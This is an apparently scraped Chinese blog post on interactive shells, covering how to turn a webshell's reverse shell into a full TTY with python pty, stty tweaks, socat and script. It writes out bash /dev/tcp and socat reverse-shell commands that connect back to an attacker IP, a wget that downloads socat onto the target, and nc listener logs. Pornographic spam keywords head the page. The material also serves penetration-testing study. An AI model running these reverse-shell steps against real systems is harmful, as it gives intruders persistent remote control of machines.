国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

交互式shell

這篇具有很好參考價值的文章主要介紹了交互式shell。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

什么是交互式shell

交互式模式就是shell等待用戶的輸入,并且執(zhí)行用戶提交的命令。這種模式被稱作交互式是因為shell與用戶進行交互。這種模式也是大多數(shù)用戶非常熟悉的:登錄、執(zhí)行一些命令、簽退。當(dāng)用戶簽退后,shell也終止了。

shell也可以運行在另外一種模式:非交互式模式。在這種模式下,shell不與用戶進行交互,而是讀取存放在文件中的命令,并且執(zhí)行它們。當(dāng)它讀到文件的結(jié)尾,shell也就終止了。

最常見的交互式shell,就是我們利用虛擬機登錄Linux系統(tǒng)時的那個等待登錄界面

交互式shell

系統(tǒng)在等待我們鍵入登錄的用戶名和密碼,這就是一種交互式shell.

我們拿到的大多數(shù)webshell都是非交互式shell,能夠執(zhí)行一些命令,但是這些命令都是非交互的,也就是說不存在上下文的概念。當(dāng)我們想使用vim、top、ftp等命令時,webshell就無能為力了。

只要執(zhí)行bash命令的時候,不帶有“選項以外的參數(shù)”或者-c選項,就會啟動一個交互式shell。

通常來說,用于執(zhí)行腳本的shell都是“非交互式”的,但我們也有辦法把它啟動為“交互式”shell,方法就是在執(zhí)行bash命令時,添加-i選項:

[chen@localhost Temp]$ bash -c "echo \$-"
hBc
[chen@localhost Temp]$ bash -i -c "echo \$-"
himBHc
PS :   echo $-時包含i 就說明開啟了一個interactive shell

實現(xiàn)交互式shell的幾種方式

https://saucer-man.com/information_security/233.html

bash -i 存在的問題

一般我們都會使用nc來接收反彈來的shell,只需要在目標上(以linux為例)執(zhí)行:

bash -i >& /dev/tcp/192.168.2.134/4444 0>&1

本地接收一下就ok了,但是反彈回來的shell,或多或少都會存在問題,比如當(dāng)我想使用top命令時就會提示沒有 tty。簡單的來說就是沒有上下文環(huán)境,這樣的話,vim,sudo等操作都做不了

C:\Users\w5023
λ nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.2.134] from DESKTOP-IBUUT6H.lan [192.168.2.134] 30688
ubuntu@ubuntu:~$ whoami
whoami
ubuntu
ubuntu@ubuntu:~$ top
top
top: failed tty get
ubuntu@ubuntu:~$ tty
tty
not a tty

交互式shell

python pty

在’bash -i’反彈回來的shell的基礎(chǔ)上,執(zhí)行如下命令啟動python交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

可以實現(xiàn)簡單的tty,但是這種方式有個問題,當(dāng)我們ctrl+C的時候,所有連接都會斷掉,又需要重新來一遍,而且vim雖然可以用,也有點問題,同時沒有記錄,無法使用上方向鍵執(zhí)行上條命令。

交互式shell

交互式shell

升級nc為完全交互

整個流程是在第一步的基礎(chǔ)上,但是需要用到的工具在linux上,所以把攻擊機切換為linux。

現(xiàn)在攻擊機和目標機分別為:

攻擊機 Linux 192.168.81.160
目標機 Linux 192.168.81.162

簡單把反彈一個完全交互shell的過程寫出來:

# 攻擊機本地執(zhí)行
# 首先檢查當(dāng)前終端和STTY信息
$ echo $TERM      
$ stty -a 
# nc開啟監(jiān)聽
$ nc -lvvp 4444

交互式shell

# 目標機執(zhí)行

$ bash -i >& /dev/tcp/192.168.81.160/4444 0>&1
# 此時攻擊機已經(jīng)獲取到了bash
# 接下來執(zhí)行
$ python -c 'import pty; pty.spawn("/bin/bash")'  //啟用python交互式
# 把它丟到后臺掛起
$ ctrl + z   
# 重置stty,也就意味著你看不到輸入的內(nèi)容
$ stty raw -echo  
# 把后臺掛起的程序調(diào)回前臺
$ fg  
# 完全刷新終端屏幕
$ reset  
# 接下來設(shè)置環(huán)境變量,根據(jù)第一步得到的環(huán)境變量來設(shè)置
$ export SHELL=bash   
$ export TERM=xterm-256color   
$ stty rows 行數(shù) columns 列數(shù) 

到這里,就可以得到一個完美的shell了。

socat獲取pty

socat是類Unix系統(tǒng)下的一個工具,可以看作是 nc 的加強版。我們可以使用socat來傳遞完整的帶有tty的TCP連接。缺點也很明顯,只能在linux下面運行

下載地址:https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

使用起來也很簡單。

攻擊機:

# 首先安裝
$ sudo apt install socat
# 執(zhí)行
$ socat file:`tty`,raw,echo=0 tcp-listen:4444

目標機:

# 把socat上傳到目標機器上或者直接下載
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
# 運行
$ chmod +x /tmp/socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444

這種方式基本和ssh類似,ctrl+C也不會直接斷開。

script獲取pty

我們可以使用 Linux 系統(tǒng)下的 script 命令,在彈回來的 shell 下創(chuàng)建一個帶有 tty 的 shell, 這樣就可以勉強使用一下 topvim :

$ script /dev/null

如果不加 /dev/null 的話,會在當(dāng)前路徑下生成一個名字是 typescript 的文件,記錄著在 script 生命周期里你執(zhí)行的所有命令和結(jié)果。文章來源地址http://www.zghlxwxcb.cn/news/detail-430419.html

C:\Users\w5023
λ nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.2.134] from DESKTOP-IBUUT6H.lan [192.168.2.134] 30567
ubuntu@ubuntu:~$ tty
tty
not a tty
ubuntu@ubuntu:~$ script /dev/null
script /dev/null
Script started, file is /dev/null
ubuntu@ubuntu:~$ tty
tty
/dev/pts/1

到了這里,關(guān)于交互式shell的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • 【spark客戶端】Spark SQL CLI詳解:怎么執(zhí)行sql文件、注釋怎么寫,支持的文件路徑協(xié)議、交互式模式使用細節(jié)

    【spark客戶端】Spark SQL CLI詳解:怎么執(zhí)行sql文件、注釋怎么寫,支持的文件路徑協(xié)議、交互式模式使用細節(jié)

    The Spark SQL CLI is a convenient interactive command tool to run the Hive metastore service and execute SQL queries input from the command line. Note that the Spark SQL CLI cannot talk to the Thrift JDBC server. spark SQL Cli 用于運行hive metastore服務(wù)和通過命令行執(zhí)行sql查詢。注意,Spark SQL CLI不能和Thrift JDBC server進行通訊。 ?

    2024年02月08日
    瀏覽(73)
  • 人機交互學(xué)習(xí)-6 交互式系統(tǒng)的設(shè)計

    人機交互學(xué)習(xí)-6 交互式系統(tǒng)的設(shè)計

    Allan Cooper建議不要過早地把重點放在小細節(jié)、小部件和精細的交互上會妨礙產(chǎn)品的設(shè)計,應(yīng)先站在一個高層次上關(guān)注用戶界面和相關(guān)行為的整體結(jié)構(gòu) Allan Cooper提出的交互框架不僅 定義了高層次的屏幕布局 ,同時定義了 產(chǎn)品的工作流、行為和組織 。它包括了6個主要步驟:

    2024年02月09日
    瀏覽(20)
  • 人機交互學(xué)習(xí)-5 交互式系統(tǒng)的需求

    人機交互學(xué)習(xí)-5 交互式系統(tǒng)的需求

    關(guān)于目標產(chǎn)品的一種陳述,它指定了產(chǎn)品應(yīng)做什么,或者應(yīng)如何工作 應(yīng)該是具體、明確和無歧義的 搜集數(shù)據(jù) 解釋數(shù)據(jù) 提取需求 注:了解 功能不同 智能冰箱:應(yīng)能夠提示黃油已用完 字處理器:系統(tǒng)應(yīng)支持多種格式 物理條件不同 移動設(shè)備運行的系統(tǒng)應(yīng)盡可能小,屏幕顯示限

    2024年02月09日
    瀏覽(28)
  • Pyspark交互式編程

    Pyspark交互式編程 有該數(shù)據(jù)集Data01.txt 該數(shù)據(jù)集包含了某大學(xué)計算機系的成績,數(shù)據(jù)格式如下所示: 根據(jù)給定的數(shù)據(jù)集,在pyspark中通過編程來完成以下內(nèi)容: 該系總共有多少學(xué)生; (提前啟動好pyspark) 該系共開設(shè)了多少門課程; Tom同學(xué)的總成績平均分是多少; 求每名同學(xué)的

    2023年04月08日
    瀏覽(33)
  • 構(gòu)建一個動態(tài)交互式圖表

    在Web開發(fā)中,JavaScript不僅是實現(xiàn)交互效果的關(guān)鍵,還可以用于構(gòu)建復(fù)雜的可視化組件,如動態(tài)交互式圖表。在本篇博客中,我將演示如何使用JavaScript和HTML5的Canvas元素來創(chuàng)建一個簡單的動態(tài)條形圖。 HTML結(jié)構(gòu) ?首先,我們需要一個HTML結(jié)構(gòu)來容納我們的圖表。 JavaScript實現(xiàn) 接下

    2024年02月20日
    瀏覽(32)
  • 【非交互式零知識證明】(下)

    【非交互式零知識證明】(下)

    繼續(xù)上一節(jié)的內(nèi)容,我們首先再回顧一下經(jīng)典交互式零知識證明。 交互式零知識證明的一般模型如下: (1)證明者和驗證者共享一個公共輸入,證明者可能擁有某個秘密輸入; (2)如果驗證者認可證明者的響應(yīng),則輸出Accept,否則輸出Reject。 經(jīng)典交互式零知識證明除了應(yīng)

    2024年02月04日
    瀏覽(27)
  • Matlab交互式的局部放大圖

    Matlab交互式的局部放大圖

    在數(shù)據(jù)可視化中,很多時候需要對某一區(qū)間的數(shù)據(jù)進行局部放大,以獲得對比度更高的可視化效果。下面利用 MATLAB 語言實現(xiàn)一個交互式的局部放大圖繪制。 源碼自行下載: 鏈接:https://pan.baidu.com/s/1yItVSinh6vU4ImlbZW6Deg?pwd=9dyl 提取碼:9dyl 使用方法 : 1.將 BaseZoom.m 和 parameters

    2024年01月16日
    瀏覽(30)
  • Android2:構(gòu)建交互式應(yīng)用

    Android2:構(gòu)建交互式應(yīng)用

    一。創(chuàng)建項目 項目名 Beer Adviser 二。更新布局 activity_main.xml 三。增加資源 strings.xml 四。響應(yīng)點擊 MainActivity.kt 知識點:

    2024年02月12日
    瀏覽(24)
  • Dash,方便創(chuàng)建「交互式」Web圖表!

    Dash,方便創(chuàng)建「交互式」Web圖表!

    你好,我是郭震 這篇文章,探討 Dash —— 一個由 Plotly 開發(fā)的優(yōu)秀 Python 框架,專為構(gòu)建豐富的網(wǎng)絡(luò)分析應(yīng)用而設(shè)計。 推薦使用這個Python工具包! Dash 使得數(shù)據(jù)分析師能夠使用 Python 創(chuàng)建互動式的 web 應(yīng)用,而無需深入了解復(fù)雜的前端技術(shù)如 HTML 或 JavaScript。 要開始使用 Das

    2024年02月22日
    瀏覽(36)
  • 使用 htmx 構(gòu)建交互式 Web 應(yīng)用

    學(xué)習(xí)目標:了解htmx的基本概念、特點和用法,并能夠運用htmx來創(chuàng)建交互式的Web應(yīng)用程序。 學(xué)習(xí)內(nèi)容: 1. 什么是htmx? ? ?- htmx是一種用于構(gòu)建交互式Web應(yīng)用程序的JavaScript庫。 ? ?- 它通過將HTML擴展為一種聲明性的交互式語言,使得開發(fā)人員可以使用簡單的HTML標記來實現(xiàn)動態(tài)

    2024年02月10日
    瀏覽(17)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包